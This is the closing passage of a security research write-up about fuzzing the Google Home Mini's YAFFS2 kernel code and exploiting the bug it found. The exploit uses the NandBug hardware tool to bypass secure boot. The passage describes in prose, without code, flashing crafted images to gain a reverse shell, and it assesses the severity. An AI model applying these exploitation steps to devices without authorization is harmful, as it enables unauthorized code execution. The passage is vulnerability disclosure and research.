. - These images are next flashed to the Google Home NAND Flash.
- The device is booted and, with some luck, a reverse shell will become available after a short while.
- If not, the Google Home can simply be power-cycled. After a few unsuccessful attempts, another
yaffs_object
address guess can be tried.
For a good yaffs_object
address guess, the success rate seems to be between 5 to 10%.
This is obviously rather low, and it could very likely be improved with better Kernel-side exploitation techniques.
However, I believe this is still a valid proof of concept. Arbitrary code execution is possible.
Conclusion
After having introduced NandBug in my previous post, the following has been achieved.
- The
YAFFS2
Kernel code used by the Google Home Mini has been fuzzed. - A new vulnerability has been found in this code.
- This vulnerability has been exploited to allow for custom code execution on the Google Home Mini, bypassing the secure boot.
In the case of the Google Home Mini, this vulnerability doesn’t seem to be a severe security threat for the end user, considering that:
- Exploiting it requires physical access. In my case, I used NandBug.
- The success rate of the exploit is low (even though it could possibly be improved with better Kernel-side exploitation techniques).
- New Google’s Kernels and
YAFFS2
upstream code aren’t vulnerable anymore.
However, beside being an interesting technical challenge and demonstrating a practical filesystem bug exploitation, having achieved custom code execution on this locked platform can still be useful.
For instance, ones may desire to acquire a deeper understanding of the undocumented Google Home Mini SoC, or perform dynamic analysis of the firmware running on the actual hardware.